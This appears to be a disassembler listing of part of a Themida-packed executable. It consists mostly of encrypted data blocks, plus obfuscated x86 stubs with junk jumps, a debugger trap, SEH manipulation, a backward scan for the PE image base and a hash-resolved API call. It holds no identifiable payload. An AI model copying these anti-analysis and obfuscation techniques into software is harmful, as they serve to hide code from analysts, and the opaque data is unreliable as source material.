		dd 99B52387h, 5E061301h, 0F613C5Eh, 20B83h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0C1BD0120h, 8906131Bh, 131F519Dh, 9BD8906h, 0F06130Eh
		dd 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 8E6984C3h, 1E7A8D5Ah, 6BAh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 820FC652h, 5, 84B722BEh, 0FE8B667Eh,	8E0FC38Bh, 6, 0BE18589h
		dd 0E8C10613h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0A23E5EBh, 0EF3E478Fh
		dd 0D7BE66D4h, 0E2F766CEh, 15419D31h, 0BD290613h, 613134Dh
		dd 0BE9D82Bh, 42000000h, 3E68A4CFh, 6DFD6B8Ah, 0BF58B587h
		dd 43452725h, 880FD82Bh, 120h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0BC35141h, 23FD8531h, 7B90613h
		dd 0F5000000h, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 2B2FC353h, 0D93B84FBh
		dd 0CE860Fh, 0BD8B0000h, 613149Dh, 6AD98C66h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 4A31C352h, 0ACDF109Dh, 0F04C1F6h, 9384h, 6E900h, 0C2120000h
		dd 230DE401h, 211195FFh, 11E90613h, 0DA000000h,	29BC7D12h
		dd 18C0BC9Eh, 1883C08Dh, 15AFB4B6h, 52006A5Bh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B58BA778h
		dd 6131239h, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0CA5CB5C3h, 0DBE3E7E8h, 858962C3h
		dd 6131639h, 8343Dh, 11860F00h,	31000000h, 13295D8Dh, 0EE906h
		dd 0E7810000h, 152005FDh, 0CF81C08Bh, 3D440BA6h, 0D88BC38Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C4C35646h
		dd 85C75F52h, 6133251h,	15F05BD7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0B3C35343h,	6AC08B56h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 954CC352h, 0DDD9593Fh, 668FEB96h, 0BC66E781h, 3111BD03h
		dd 0BD810613h, 6130B21h, 7D0h, 48850Fh,	6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D5F819C3h, 0F15CEA5Ch, 2185FF43h, 6A06130Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 2E71C356h, 0B5FF024Fh, 6130B21h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 97C35646h, 0A6485814h, 9C295AA2h
		dd 0DA995FFh, 0BD330613h, 6130115h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0B40E39B6h
		dd 0A5F3CFE7h, 10DE8166h, 9E92Fh, 8D40000h, 1BC4FB6Bh
		dd 239D74A4h, 1316C5BDh, 15860F06h, 0E9000000h,	10h, 98EB69h
		dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 1B998D89h, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 6ED0ECC3h, 0DAB6C610h, 50006A94h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 21C14FC3h
		dd 0F632EDDh, 0E8Eh, 8E900h, 426F0000h,	753589AEh, 6AF59232h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0FA59C351h
		dd 0CF7711F1h, 60FE9983h, 0D1DB81h, 8D09747Fh, 6132A91h
		dd 5830Fh, 61600000h, 61D6B70Fh, 0BE9h,	0AD41E200h, 2F06917Ch
		dd 9522C066h, 0FFF8A0E9h, 0C18BFCFFh, 0FE8h, 0DD347D00h
		dd 4B1EFCC3h, 0B2234DD5h, 32717F0Eh, 4EB5Fh, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 37C3C356h, 0CF444D8h, 0FABF0FDAh,	1EA9858Dh
		dd 95890613h, 6132C51h,	0BE890h, 0B8CF0000h, 0E3D1C8A0h
		dd 15DD7E1Dh, 56525035h, 66310F5Fh, 5A4F90BEh, 8B505E58h
		dd 816690F1h, 6A0796DEh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 5A77361Ah, 2D1A5F6Ch
		dd 7E955h, 0E4E40000h, 83B40A86h, 6A006A6Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 7279C350h, 5491DAF5h, 858DD185h, 617271Dh, 0FE9h, 0E2798B00h
		dd 7ACBBECAh, 30E5E6ACh, 2F725B03h, 6A05C083h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0F0E8C351h, 0BA65E319h, 0C4F3C09Dh, 90FA8B66h, 0DE8h
		dd 5ABAD000h, 69892A11h, 6E68B499h, 0F28BBB18h,	12E9505Eh
		dd 0A7000000h, 0DF3E37F9h, 3056E9CAh, 5F6A22Ah,	61DE4F3Ah
		dd 0BD8B9045h, 6130981h, 7E8006Ah, 0B5000000h, 4981F62h
		dd 0B531BA9Dh, 61310A5h, 0E9006A5Eh, 0Eh, 28AE13ABh, 803F0621h
		dd 50178F5Ah, 95FF91F0h, 61307F1h, 8B0Fh, 9D8D0000h, 616A36Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B7C35646h
		dd 9529B77Eh, 6130B6Dh,	0C52DBF66h, 6AD3FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0F8AD45C3h
		dd 0ED632F89h, 29983F4Eh, 1316D585h, 0D985FF06h, 6A061316h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0C9C350h,	6B41F8B5h, 9E8h, 0A32A7300h, 0D6022C57h
		dd 0BD338F6Ah, 6132B89h, 0AE85Fh, 0D480000h, 0BD775FBFh
		dd 0C72390E8h, 9E9h, 0C710D500h, 0B2812647h, 0E95F62F4h
		dd 808h, 0E8h, 0ED815D00h, 6172727h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0ACC35747h,	1CD304Fh, 6870FFDh
		dd 89000000h, 131A31B5h, 21BD8106h, 0D006130Bh,	0F000007h
		dd 14F86h, 91BD8B00h, 8B06130Eh, 1316A19Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 81CF2579h, 100E3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 870BE740h, 0AE93633h
		dd 21000000h, 0BF9B9739h, 56ED9B5Dh, 0FDB0B9Ch,	6E85h
		dd 5BD8300h, 61725h, 35840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 41C2D2C3h
		dd 8B2DEF8Dh, 1330D5BDh, 618D2906h, 0E9061319h,	73h, 0C7F2B70Fh
		dd 17250585h, 106h, 61E900h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0C776F6C3h
		dd 17250585h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 880F2870h, 0Dh, 8E9h
		dd 0F1680D00h, 5F0ED217h, 48F0F4Ch, 66000000h, 8DAC61BEh
		dd 1316A19Dh, 0C1BD8B06h, 8106131Eh, 0FFFEFF23h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0B58BA569h, 6132129h, 8BDB8C66h, 130081B5h, 4C3F606h
		dd 83840Fh, 0BD8B0000h,	61309BDh, 211195FFh, 6A0613h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0DBF903C3h, 35D0B911h, 0FE9h, 860C0000h, 2ABD262h, 5B0D8C2Bh
		dd 3D79FC14h, 4FBE6650h, 24048908h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 91C35242h, 5F79BE08h, 0DD1BD01h
		dd 7E80613h, 7F000000h,	0C9AF7855h, 9D29761Ch, 61306C9h
		dd 40AE95Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 506B3FC3h, 0EB5122E4h, 7E9E0h, 33330000h
		dd 0EF773182h, 0D9950197h, 0B0061306h, 0FFB70F00h, 0BF0F70E6h
		dd 8B71E4FAh, 130E65BDh, 0D8B60F06h, 0E5B243BEh, 6BAF910h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 196CC351h, 89C38BE7h, 1318A9BDh
		dd 4E8C106h, 0FE8h, 9A399A00h, 8B392DF6h, 8E48636h, 459FEE9Bh
		dd 0E2F7665Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	61C35646h, 93E59BD5h, 6AD82Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BFBACFC3h
		dd 89021162h, 3181B58Bh, 50930613h, 6A93FE8Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5CF8C357h, 28D1BF7Fh, 21B5FFEAh, 6A06130Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 7BD7C352h, 11E9E2h, 3B8B0000h, 15117FEEh, 71FB26D1h
		dd 30630476h, 66341D71h, 0FF675FBFh, 130DA995h,	0E5B58B06h
		dd 0B0061309h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E661724Dh, 57006A70h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 50F6C7C9h, 6EE056D9h, 0ED950960h, 66061305h,	0E4C9F8BEh
		dd 8E871h, 3BA60000h, 7B7B3E3Bh, 8B609786h, 616160D1h
		dd 0F613C5Eh, 24B83h, 0F6816600h, 0B60F9C7Eh, 6BAF9D8h
		dd 9000000h, 131B09BDh,	6AC38B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A23BC351h
		dd 5F91671Dh, 9D5B52Bh,	0E8C10613h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 64AAD5D6h
		dd 0A5C68166h, 6830F05h, 8B000000h, 131E19B5h, 0E2F76606h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6DC35646h
		dd 5D56EC79h, 6AD82B6Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 5803C350h, 31DDB503h
		dd 0D82B0613h, 18A880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 47BB93C3h, 113B49Ah
		dd 97BE47CBh, 513F2398h, 1741B58Bh, 0B95F0613h,	7, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2DC35242h, 0DF8166F4h
		dd 0B70FCBF6h, 0F78B66FBh, 6A00C183h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B2CC351h
		dd 4558870Ah, 3BE56534h, 0FD860FD9h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 7562C350h, 12E8A479h, 69000000h, 898A305h, 6F503C4Fh
		dd 0B355D019h, 0E6A64452h, 0F681660Fh, 665F1153h, 0BD89D98Ch
		dd 61300F5h, 0F04C1F6h,	0A884h,	8E800h,	93B00000h
		dd 242E0493h, 85891C6Eh, 6130785h, 1195FF5Fh, 0BF061321h
		dd 2C6CD3FDh, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0A50F6F16h, 0D75EEBB7h, 0A290F681h
		dd 0C32B4893h, 8343Dh, 52860F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0EDC4C352h, 35E9F28Bh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 7BCEC353h
		dd 0AE01AC6Bh, 66FA3A4Eh, 0B024C681h, 4DC9ECBEh, 50C08B32h
		dd 5FF88B66h, 0D88BC38Bh, 1FB1BD8Bh, 85C70613h,	61305F9h
		dd 7485EDD3h, 8F0Fh, 0C08B0000h, 81F3BF0Fh, 130B21BDh
		dd 7D006h, 12850F00h, 89000000h, 131CED85h, 2185FF06h
		dd 0B06130Bh, 130B09BDh, 21B5FF06h, 6A06130Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 5E08C351h, 8D89CF56h, 61316D1h, 0DA995FFh, 0EE80613h
		dd 4B000000h, 0F5E0E37Eh, 60EDBC0h, 35DCC45Eh, 9D895E6Ah
		dd 6130FC1h, 0F5E68190h, 6672D39Dh, 0ACD1C681h,	2BBDBD8Bh
		dd 66600613h, 0AA7F281h, 0C870Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		and	edx, 21121512h
		mov	[ebp+61323B5h],	ebx
		popa
		mov	edi, [ebp+6132D29h]
		mov	edi, [ebp+613151Dh]
		sub	si, 954Ah
		and	edi, [ebp+6131FBDh]
		push	0
		push	ecx
		call	sub_5BF107
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF107	proc near		; CODE XREF: Themida_:005BF0FFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5BF107	endp

; ---------------------------------------------------------------------------
		jl	short loc_5BF180
		push	esi
		not	byte ptr [ecx+57h]
		pop	edx
		int	3		; Trap to Debugger
		cld
		cmc
		push	0
		push	eax
		call	sub_5BF12C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF12C	proc near		; CODE XREF: Themida_:005BF124p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BF12C	endp

; ---------------------------------------------------------------------------
		cmp	edx, [esp+ebx]
		ror	dword ptr [ecx], cl
		xchg	eax, ebp
		ror	dword ptr [ebx], 1
		adc	eax, [esi]
		push	0
		push	edi
		call	sub_5BF151
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF151	proc near		; CODE XREF: Themida_:005BF149p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BF151	endp

; ---------------------------------------------------------------------------
		db 5Dh,	17h, 4Eh
		dd 0BBA11561h, 8B8876EDh, 52006AF2h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h
; ---------------------------------------------------------------------------


loc_5BF180:				; CODE XREF: Themida_:005BF117j
		add	al, 1Dh
; ---------------------------------------------------------------------------
		dw 0
		dd 0C3524200h, 69AD5CE6h, 0AEF28B45h, 0BE9EF79h, 11000000h
		dd 27E7DC0Eh, 1F7FFC32h, 8B66E5DFh, 56006AF9h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 6120C96Bh
		dd 0BEF88B77h, 0D2229C8h, 0FFF81BE9h, 178F0FFFh, 0E9000000h
		dd 12h,	0FB275666h, 308E5F40h, 0F1EED5F2h, 0EF18B2BDh
		dd 8589A94Eh, 6132165h,	53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 565107D7h, 0B50950A8h
		dd 6132379h, 0FFFEB958h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 958B15C3h, 6131F8Dh
		dd 9CD8D21h, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 2A04CFC3h, 0BF0FE70Eh, 118D21FEh
		dd 89061311h, 130F09B5h, 8B0F6006h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6131FE9h],	eax
		popa
		mov	ecx, [ebp+61309CDh]
		push	0
		push	ebx
		call	sub_5BF298
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF298	proc near		; CODE XREF: Themida_:005BF290p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5BF298	endp

; ---------------------------------------------------------------------------
		sub	[eax+28h], esp
		jmp	loc_5BF2C4
; ---------------------------------------------------------------------------
		dd 1A8292E8h, 6179D872h, 71EACB4Eh, 0DA9997B7h,	69D55FEDh
; ---------------------------------------------------------------------------


loc_5BF2C4:				; CODE XREF: Themida_:005BF2ABj
		mov	edx, [ebp+6130D41h]
		and	ecx, 1
		jnz	loc_5BF2F4
		push	0
		push	edx
		call	sub_5BF2DE
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF2DE	proc near		; CODE XREF: Themida_:005BF2D6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5BF2DE	endp

; ---------------------------------------------------------------------------
		dw 5208h
		dd 0F0D6A89Bh
; ---------------------------------------------------------------------------


loc_5BF2F4:				; CODE XREF: Themida_:005BF2CDj
		mov	ecx, [ebp+6131111h]
		push	0
		push	ebx
		call	sub_5BF305
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF305	proc near		; CODE XREF: Themida_:005BF2FDp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5BF305	endp

; ---------------------------------------------------------------------------
		db 66h,	0EAh, 4Eh
		db  3Eh	; >
		db  89h	; 
		db  85h	; 
		db  21h	; !
		db  23h	; #
		db  13h
		db    6
		db 0E9h	; 
		db  0Dh
		db    0
		db    0
		db    0
		dd 0C242FB19h, 0B4CD35D1h, 6B80B6BCh
		db 0B3h
		db  83h	; 
		db 0E1h	; 
		db    1
		db  0Fh
		db  85h	; 
		db    6
		db    0
		db    0
		db    0
		db  89h	; 
		db  85h	; 
		db 0CDh	; 
		db  10h
		db  13h
		db    6
		db  61h	; a
		db  60h	; `
		db  6Ah	; j
		db    0
		db  52h	; R
		db 0E8h	; 
		db    3
		db    0
		db    0
		db    0
		db  20h
		db  5Ah	; Z
		db 0C3h	; 

; =============== S U B	R O U T	I N E =======================================



sub_5BF34D	proc near

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BF34D	endp

; ---------------------------------------------------------------------------
		db 93h,	82h, 0D1h
		dd 20FB675h, 0E83A94A7h, 0Eh, 63796A90h, 0AE77BAD7h, 0BCB2D9A4h
		dd 0B95E6F14h, 0FFFFFFFEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0C9C35747h, 590FF359h, 0A508BE89h, 9E9h
		dd 0F4377F00h, 0BD0F77D1h, 8D21CB30h, 6131461h,	2FB18589h
		dd 8D210613h, 6130639h,	8D8BF78Ah, 6131461h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E9C35545h, 79BD8B87h
		dd 8306132Ch, 850F01E1h, 1Ch, 13E8h, 0E6AFAF00h, 0CC923AB6h
		dd 3F3071EDh, 0A6A830Ah, 0BFC366C0h, 0F2B70F5Ah, 6398D8Bh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 66C9D9C3h, 830B41BAh, 850F01E1h, 3Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EC35646h, 0CC7E2AD4h
		dd 0E9A18719h, 14h, 0BE5DC8CCh,	0D697CEF4h, 9AAE9575h
		dd 0C04D20C5h, 496F0043h, 9D896061h, 6130BEDh, 0FFFFFEB9h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 4164FF04h, 2F4857DFh, 77E081E8h,	12DDCC2h
		dd 1330C9B5h, 0A18D2106h, 6A061316h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A726C355h
		dd 987F178h, 21CDB529h,	8D210613h, 6132CD5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9DC35040h, 500FF465h
		dd 8D1147D8h, 858960BFh, 6131151h, 31B58B61h, 8B06131Dh
		dd 1316A18Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0D1FCAC18h, 0A7DA7B2Fh, 8E0FD37Ch
		dd 3, 83F8B70Fh, 850F01E1h, 20h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 18h, 28C35040h, 101CA3A9h, 2CD58D8Bh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0C4F623C3h, 198615B4h, 899F1129h,	1316E185h
		dd 1E18306h, 2850Fh, 0B0B30000h, 6A6061h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 105EFAC3h
		dd 0B58B68D6h, 6131325h, 0FFFFFEB9h, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 4F8DBA71h
		dd 8D214F0Bh, 6133251h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 63C35646h, 0DC4C2564h, 0B84AE380h, 493F8A6Fh
		dd 5F98D21h, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0C519EAC3h, 0BBBF662Dh, 518D8B1Fh
		dd 6A061332h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B231C353h, 1F5AB0C4h,	0F01E183h
		dd 1E85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8B7A1A3Ah, 1305F98Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 7ACC519Dh, 5E9h, 0C1FEDB00h,	0E1830EC2h, 5850F01h, 0BA000000h
		dd 439B4F1Fh, 6A6061h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 8E885C3h, 0E789A0BFh, 0BD2BF50Ah
		dd 6130EBDh, 0B2185C7h,	7D00613h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A281B6C3h
		dd 3B28D89Bh, 66909495h, 7615EE81h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 49D822D5h
		dd 35A8D056h, 0A18D8B4Eh, 0EB061312h, 0E99D6107h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BF78B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF78B	proc near		; CODE XREF: Themida_:005BF783p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5BF78B	endp

; ---------------------------------------------------------------------------
		dec	ebx
		mov	al, ds:422F62A5h
		mov	[ebp+6133031h],	edi
		push	0
		push	ecx
		call	sub_5BF7B2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF7B2	proc near		; CODE XREF: Themida_:005BF7AAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5BF7B2	endp

; ---------------------------------------------------------------------------
		mov	gs, ax
		mov	[ebp+61318E5h],	edi
		mov	eax, ecx
		call	near ptr loc_5BF7E4+1
		adc	[ecx], dl
		add	ds:0CA3EA813h, ch
		add	dl, [esp+edi*4-2Ah]
		jl	short near ptr loc_5BF84D+2
		sti
		imul	ebp, [esi+esi],	-1Fh


loc_5BF7E4:				; CODE XREF: Themida_:005BF7CCp
		dec	dword ptr [edi]
		mov	bh, 0FFh
		pop	edx
		add	edx, 5E1Ah
		mov	[ebp+61311BDh],	edi
		push	0
		jo	loc_5BF806
		or	esi, [ebp+61318B1h]


loc_5BF806:				; CODE XREF: Themida_:005BF7FAj
		pop	eax
		movzx	edi, si


loc_5BF80A:				; CODE XREF: Themida_:005BF8A7j
		push	dword ptr [eax+edx]
		mov	ch, 0F8h
		pop	ebx
		sub	ebx, 45C9644Dh
		ja	loc_5BF825
		pusha
		cld
		jnz	$+6
		popa


loc_5BF825:				; CODE XREF: Themida_:005BF816j
		xor	ebx, 79FF7070h
		jp	loc_5BF837
		mov	[ebp+6130E75h],	esi


loc_5BF837:				; CODE XREF: Themida_:005BF82Bj
		xor	ebx, 68AACB42h
		movsx	edi, dx
		mov	[edx+eax], ebx
		or	ecx, 26893F15h
		pusha
		movzx	edi, ax


loc_5BF84D:				; CODE XREF: Themida_:005BF7DDj
		xor	eax, 7E82747Fh
		popa
		sub	eax, 2
		jns	loc_5BF871
		jmp	loc_5BF871
; ---------------------------------------------------------------------------
		dw 2970h
		dd 1B891C8Ah, 5D05AB0Bh, 0E74499D9h
; ---------------------------------------------------------------------------
		pop	edi


loc_5BF871:				; CODE XREF: Themida_:005BF857j
					; Themida_:005BF85Dj
		dec	eax
		dec	eax
		mov	ecx, [ebp+6130159h]
		cmp	eax, 0FFFFA2C4h
		jnz	loc_5BF8A1
		sub	ecx, 12E8E3D6h
		jmp	loc_5BF8B3
; ---------------------------------------------------------------------------
		dd 7BBF89E8h, 7EB85DCAh, 9C6FAD32h, 34DB56Fh
		db 26h
; ---------------------------------------------------------------------------


loc_5BF8A1:				; CODE XREF: Themida_:005BF87Fj
		mov	edi, [ebp+6130AE9h]
		jmp	loc_5BF80A
; ---------------------------------------------------------------------------
		dd 7390D873h
; ---------------------------------------------------------------------------
		inc	esi
		mov	al, 6Ch


loc_5BF8B3:				; CODE XREF: Themida_:005BF88Bj
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		add	edx, 14h
		mov	[ebp+6133189h],	edx
		sub	edx, 14h
		lea	eax, [ebp+617368Fh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5BF8EC:				; CODE XREF: Themida_:005BF90Ej
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5BF909
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5BF913


loc_5BF909:				; CODE XREF: Themida_:005BF8F1j
		sub	eax, 1000h
		jmp	loc_5BF8EC
; ---------------------------------------------------------------------------


loc_5BF913:				; CODE XREF: Themida_:005BF903j
		mov	ecx, eax
		mov	[ebp+6130BB9h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+6130B65h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+6132A95h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+6130B5Dh],	edx
		add	edx, [eax+8]
		mov	[ebp+6132125h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5BF96C
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5BF96C:				; CODE XREF: Themida_:005BF954j
		cmp	dword ptr [ebp+6131F95h], 0
		jz	loc_5BF99D
		mov	byte ptr [ebp+61311E1h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+6131EE9h]
		lea	eax, [ebp+6167C33h]
		call	eax
		push	0
		call	eax
		mov	[ebp+61316C1h],	eax


loc_5BF99D:				; CODE XREF: Themida_:005BF973j
		mov	edx, ebx
		pusha
		mov	[ebp+61328D9h],	ebx
		mov	eax, eax
		pusha
		or	ax, 8EA2h
		xor	cx, 5D1Bh
		popa
		cmp	dword ptr [ebp+6131625h], 0
		jnz	short loc_5BF9C6
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5BF9DF


loc_5BF9C6:				; CODE XREF: Themida_:005BF9BBj
		push	eax
		push	ebx
